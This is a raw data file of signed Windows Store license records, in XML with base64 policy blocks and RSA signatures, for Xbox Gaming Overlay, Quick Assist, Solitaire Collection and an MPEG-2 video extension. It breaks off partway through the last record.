<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="2a9e5ee7-f106-44c9-adb1-02d32830c046" LicenseID="91a5b4c7-29a8-ec80-4321-fbecea906705" ContentID="baa0f9e7-e2c2-c973-eabd-02bbf7402934" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NZKPSTSNW4P</ProductID><PFM>microsoft.xboxgamingoverlay_8wekyb3d8bbwe</PFM><LicenseInstanceID>c2824443-7d3c-4ac0-95df-b5f52e6827cc</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T16:00:03.3565811Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:03.3456476Z</LastUpdateDate><BeginDate>2026-02-20T16:00:03.3456468Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJlZjczNmE0My03ZjIzLTQ3MTYtOGI1MC1mZjI1MWNiOGRlNTMifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQADhZhpAwDLAAAAEAAAAMe0pZGoKYDsQyH77OqQZwXOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABnAGEAbQBpAG4AZwBvAHYAZQByAGwAYQB5AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBLqS9metwLT0VkFXpAIJAIK587gJk2ny25PU30fwVKBiAAAAAEAAAAA4WYacwAAABEAAAAAQACABPye2d95lVj0bucPjuBRTdQcjiCVEBTC601ULJ9FUx+MmdV4PdL+vlS9WCSuREO4WibRzzSV0zCG/vk15sOMnY=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>196/zZF97TSFYBqmQPJ9Nr9IuKgctJj5sWwLO3L5Q1I=</DigestValue></Reference></SignedInfo><SignatureValue>B62Esv0cj44iG7I904yRdtdifVym2wMlg/C9aF2yaabuxzQLylzqQaG5C+x/O0WwkhhaE8aU5o7aftmRgq2RUHeQGWLFnJr3c/qPENgdcLdaZ5COw6HqnoGBJE5AYLJJ1XiLIrwI7Wq0GY2/Qxm5R6T5YRWIp/llU57Y39nyEeTlJ7BCMA/qDTbRhkC0V9Dkm3SScSDPsAHB3INSxu7N8vyXXeiNUzFB5nbrIZQE0V+FWvSyRVYUEGpTitG+LvFi0TPrcOTooW3SQMTFRw2LDWQH2GM4Ia3sNa8bjVN6iR4qFvIE3B0UyYIPViCvjVBfgPMo2JhdBntwJOsjYy835A==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="c2d3757a-42a1-44c3-b149-adab7bda9203" LicenseID="aa0d51c9-e4ac-e78b-3c6c-b4de776c8a9b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:27:45.7379804Z</IssuedDate><LastUpdateDate>2026-02-20T12:27:45.7210964Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNGE4MTNhN2YtY2RhZS1iYmU5LTUyOWItNjg2ZGJmOGNlMDkzIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MjM0NDA4OTU5NzU2JmNvbnRlbnRJZD00YmMyNzA0Ni04NGM1LTg2NzktZGNjNy1kNDRjNzdhNDdkZDAmZW50aXRsZW1lbnRJZD00YTgxM2E3Zi1jZGFlLWJiZTktNTI5Yi02ODZkYmY4Y2UwOTMmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjlhYWNlOWVmLWE5YzMtYjQzYi03NzJmLWRiNjFkMDExYTM2ZiJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjRiYzI3MDQ2LTg0YzUtODY3OS1kY2M3LWQ0NGM3N2E0N2RkMCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UDdCUDVWTldLWDUiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTI6Mjc6NDUuNzIwOTQ0MSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAMoAAADJAAAACgAAAAUAAgBCU5hpAADLAAAAEAAAAMlRDaqs5IvnPGy03ndsipvOAAAAYgAAAG0AaQBjAHIAbwBzAG8AZgB0AGMAbwByAHAAbwByAGEAdABpAG8AbgBpAGkALgBxAHUAaQBjAGsAYQBzAHMAaQBzAHQAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABACa9VdI27w8c5TkZcJ+6I2QbPSGAZnmff07e2SjaMU3v0wAAAAQAAABCyKppzAAAAEQAAAABAAIA3v/nwufQF7TfV0CkZAOh/dR/b5k2STV6exPAh6ZMTOgWVAWosQO/bYYjgBdLWuckuk7MSOoRj1FfPKEeOw5rOA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>RVSsScvXMOEhrA7MmDvEPnNPwJI8gzVEzGWx2smPv0I=</DigestValue></Reference></SignedInfo><SignatureValue>Xf4Icd+NqtnmSSEkUdFAJ+Da9M5jELxkutMwMQWANBVWpKLBrwF6YaP3s0QdRAjLF2EQ0keCGza1yuXbZansrLbEpvkV6t2Er8ACYlqgJGo1R0FUX4CRV5LnKJNU+aTpeuEDLHzdHQzOV4xPIjgKydI4rdORaWn3IFEzyeWGAmRvAZxfdVv+9wl04cuaRBnu6Ae4q6XJ62elWSSQmRjCjPuJl6du++qlIInqkmv/b3bEfc1z7q70S0G8eyapqBlJnQmzRiO08XXJC9ey9J1euPMsvS9M4fsDAIJIsPyQv+63axx8HgsKJWdMgHdL9lIHNOsPPeGG9IAD9PtxNPt4fQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
P<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="4d415779-5495-4a25-8edc-c828f8d14025" LicenseID="9aace9ef-a9c3-b43b-772f-db61d011a36f" ContentID="4bc27046-84c5-8679-dcc7-d44c77a47dd0" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9P7BP5VNWKX5</ProductID><PFM>microsoftcorporationii.quickassist_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:27:45.7384617Z</IssuedDate><LastUpdateDate>2026-02-20T12:27:45.7215722Z</LastUpdateDate><BeginDate>2026-02-20T12:27:45.7215715Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJiY2NhZDhkNi1mZTQ2LTRhOTAtOTRmMC1kOGMyYzFkYzg2ZmYifQ==</CustomPolicies><SPLicenseBlock>FAAAAMoAAADJAAAACgAAAAUAAQBCU5hpAwDLAAAAEAAAAO/prJrDqTu0dy/bYdARo2/OAAAAYgAAAG0AaQBjAHIAbwBzAG8AZgB0AGMAbwByAHAAbwByAGEAdABpAG8AbgBpAGkALgBxAHUAaQBjAGsAYQBzAHMAaQBzAHQAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABACa9VdI27w8c5TkZcJ+6I2QbPSGAZnmff07e2SjaMU3vIAAAAAQAAABCU5hpzAAAAEQAAAABAAIAyRJy3zO1bgxutcjXKIy3sHTDGelET19ckipnbXHp4WPMPZmvU7fITlGGnA/otPH5rUmva6MXQxGeiBtP2oxTeg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>7uQo05q3M9m8feM1L/2az67rEdGI0hbBuGJYqEp/YnY=</DigestValue></Reference></SignedInfo><SignatureValue>cIKdXuKj3V5Lsmn3Wr/olC34Zm3uLM2kOHD1ePdm/PcApOIweML9zF/5Vt4ctiVZhBqUXxNh/Cxi5krVUCkBpm0xACuLCUVKSMY/XiT2p0zJiy7QHFe/280sZkesibHiGm41cYr007rMWxJJGq3uDs6ypwSUWhedU3sX391mM3c2pzevfmgNpCSIohV4gIvk1bOT+2FbNLcn7RlO41o6pJ4s9vflBHjW3vhIi4x+St1lEbTwvDLCJeccV0wpC+ujLgPMoJUxKzMXov/FB9a7e6rWks+WSDx/BQNsHAMv5fBnHl+qn/S002nUggVLqEu9xIQGCzfLVNMuzvUDQWNPmg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="cefa2778-d8b5-4278-aca4-50a662df89c9" LicenseID="0000a2b0-4b27-0b2f-5409-de31a34c3942" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T16:00:03.9591013Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:03.9471722Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJSZWZyZXNoT25TdGFydHVwIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0wMGQ1N2IwZi0wMWZhLWI3OWYtMDhkNi04NzhlZDIwYzRjOWImbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZIV0QyJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiOWQzYWQyM2MtYzZiOC03ZmI1LWU0YWItZjVkMGE2NmRjZmJjIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiMDBkNTdiMGYtMDFmYS1iNzlmLTA4ZDYtODc4ZWQyMGM0YzliIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSFdEMiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNjowMDowMy45NDU5NDg0KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6dHJ1ZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAANIAAADJAAAACgAAAAUAAgAEhZhpQADLAAAAEAAAALCiAAAnSy8LVAneMaNMOULOAAAAagAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAcwBvAGwAaQB0AGEAaQByAGUAYwBvAGwAbABlAGMAdABpAG8AbgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAB7lTdgOS8r2xtDvxdrNgdQ3ZDeLDKQJPnaHbFzs0sRnTAAAABAAAAAQsD2rMAAAARAAAAAEAAgAgGdngAt9QlwakkiJjy719tU7iFHzdHltK3cJIhI2xMmlEZVCHth9xy+h4wLD9HkwRaGOwCQ5N3mNciq+85QxX</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>aKCK3PIk2rnuTHYqN95aXGNYgwtiW8DYjLJ+S1mzQjI=</DigestValue></Reference></SignedInfo><SignatureValue>oObh4zP3Dl9ZxrP08qvwXOU8vVM4ffSYejBjflrKofXQ+ddH93B2t7YVI3E9Ov9Ygb4B2jJu2SP4KZ1U1TbxcFRbtMAiCf4Fib6gZUiMjtJTg+x7QQVtMZGGnJ2VxbigOsPERoC/MejUI4wZSNhR+JwmYw0nagBhlkaI/f8KYRmN//fA65jkxjg1bhB0iulmmssB34DhRXSU7CtebxYS5Mxk9IYFa5tYGgvCZbO9K1zhmCH/gB16ShJu9fpLsfAfON1uJV1K31jenTKILIEk+suUA9YzYZvyaSedZ16ZqCid8j83dWrcOUjD7ummzhUkNy4fLk7xAHY8fxBbgORhgg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="23ce5680-e0bf-4ab6-bc87-a572f8f2827d" LicenseID="9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc" ContentID="00d57b0f-01fa-b79f-08d6-878ed20c4c9b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFHWD2</ProductID><PFM>microsoft.microsoftsolitairecollection_8wekyb3d8bbwe</PFM><LicenseInstanceID>d8d302fb-92f3-4388-8729-7a45d316a3d9</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T16:00:03.9591456Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:03.9476455Z</LastUpdateDate><BeginDate>2026-02-20T16:00:03.9476447Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIxYTM2ZmQxNy01MTYxLTQ2NTEtYWUyZC0xMzM4NGU0MjdlYTgifQ==</CustomPolicies><SPLicenseBlock>FAAAANIAAADJAAAACgAAAAUAAQAEhZhpAwDLAAAAEAAAADzSOp24xrV/5Kv10KZtz7zOAAAAagAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBpAGMAcgBvAHMAbwBmAHQAcwBvAGwAaQB0AGEAaQByAGUAYwBvAGwAbABlAGMAdABpAG8AbgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAB7lTdgOS8r2xtDvxdrNgdQ3ZDeLDKQJPnaHbFzs0sRkgAAAABAAAAASFmGnMAAAARAAAAAEAAgCaIg7xOCBzbU9s1HYYWwUQc54T3IN9kQybMgCgtdqqW2b2LNJgAdcGs+iiXedhEEiqmP9HUlpttFvJixv9frht</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>E1saO1F6YD3LZz8h6ebfCZLr/b52Nq0gsxwEDomVTIY=</DigestValue></Reference></SignedInfo><SignatureValue>nZPrct6uVzRh0fThLZokMtrR/90NHh2A0bczdrHWbV166hS3yN+n2PRcld2K3gFquw27Zizmn6jsINlcOQe+SYdBkJ7mYBhUufBLhPPuPpGL6S6FIeK+9QUAvnPgn/W/7Td93rni9hJJix4NdtyDtf0+u6X2jBcLMQMreh2p+BKhLPffsc08L0kaDiwyZkBxzewOtBh71a0ApUysHYN3bNnnogHtCvhqevyAMVpY75q1+8lRl8SDu/pS6P8BSwqZQwzyjjd+baWyZp1do6tRWn5IuaFyEk1K6LsaNX9yxNmEJAKjo04Lsanwd+O0x345upt96PcNs2BIS4lzrFNGmQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="183443a9-580f-427d-af41-bdb9aff0d227" LicenseID="44d740f0-a214-9e4e-6878-0ebbd55b5b5d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T07:39:18.8216387Z</IssuedDate><LastUpdateDate>2026-02-20T07:39:18.8111351Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1jYjkzMGM1ZC1hOGNhLWNiMDQtODIyMC02Mjc3YzdlNGYwMzgmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU45NVExWlpQTUg0JnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiYTBjYjdkOWQtODM0OS1jMWM0LTQ5OGQtNzlhYTk5YTI1M2QyIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiY2I5MzBjNWQtYThjYS1jYjA0LTgyMjAtNjI3N2M3ZTRmMDM4IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOOTVRMVpaUE1INCIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwNzozOToxOC44MTA5ODg2KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAgCnD5hpAADLAAAAEAAAAPBA10QUok6eaHgOu9VbW13OAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBwAGUAZwAyAHYAaQBkAGUAbwBlAHgAdABlAG4AcwBpAG8AbgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAW4xo7M5LMeSgeYCBfdtAyigv7YT37YTkv1omfk3SwEvTAAAABAAAAKe2DmrMAAAARAAAAAEAAgBOfWdBYewWJQY7hcoa4APPt/GX17tZO7r37xrUOpJejSmXXF6pU7UNtBpJwHCoRCoQ3aPCQ2qp5BpTBMkOLPLU</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>/YOKXm249TwGuyM274gD23i2ORBeg08CaNq51+zWlG4=</DigestValue></Reference></SignedInfo><SignatureValue>DhaMB2tTv0vp1PLrswhBSDcz2L2y4kPo4oc4qrWHn9V1dBx9FCvh6kgT8pFyEmPrR/YssF+k4JXf6+uywYjqX5SqBFywvo/ZNOtLwwHoy5n+XW+YLZ3RF0LXawDQsdZQFHVJP3iSyPn2q/LlG+SpqY+DL9VnSuC4l5+kS0S3NwXfzRSircfyqCvh5rKnA0DTk/B0VPNtkbLv3BDz3Q1SF4cPybUBkS9vdsikZRilIDc0BC/u8mI6WFTaHCJ6AtibOgG3VhecW+g0UBIpSalFuEiKQZp9LoazE+GyS4DO73aStLXCJ924EurRz7Aq+L5rEvKLhB9dP354ODnj2ujLRg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="9079c3ab-1ad9-43e9-acaa-82124e744260" LicenseID="a0cb7d9d-8349-c1c4-498d-79aa99a253d2" ContentID="cb930c5d-a8ca-cb04-8220-6277c7e4f038" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N95Q1ZZPMH4</ProductID><PFM>microsoft.mpeg2videoextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T07:39:18.8227158Z</IssuedDate><LastUpdateDate>2026-02-20T07:39:18.8115578Z</LastUpdateDate><BeginDate>2026-02-20T07:39:18.8115573Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI1ODY1NDNhNi0zMzBlLTQ3MjEtOTg0MC00MzdiOTNhOTdhMGEifQ==</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAQCnD5hpAwDLAAAAEAAAAJ19y6BJg8TBSY15qpmiU9LOAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AbQBwAGUAZwAyAHYAaQBkAGUAbwBlAHgAdABlAG4AcwBpAG8AbgBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAW4xo7M5LMeSgeYCBfdtAyigv7YT37YTkv1omfk3SwEsgAAAABAAAAKcPmGnMAAAARAAAAAEAAgCmEzTOzKAC4VXaCByujQiX2h/kohQXS6WYCh2uviFWTFxBvQ9gn6TZ4MLCYS0hpUfI+goEMpCwIGLCMlR2PghP</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" 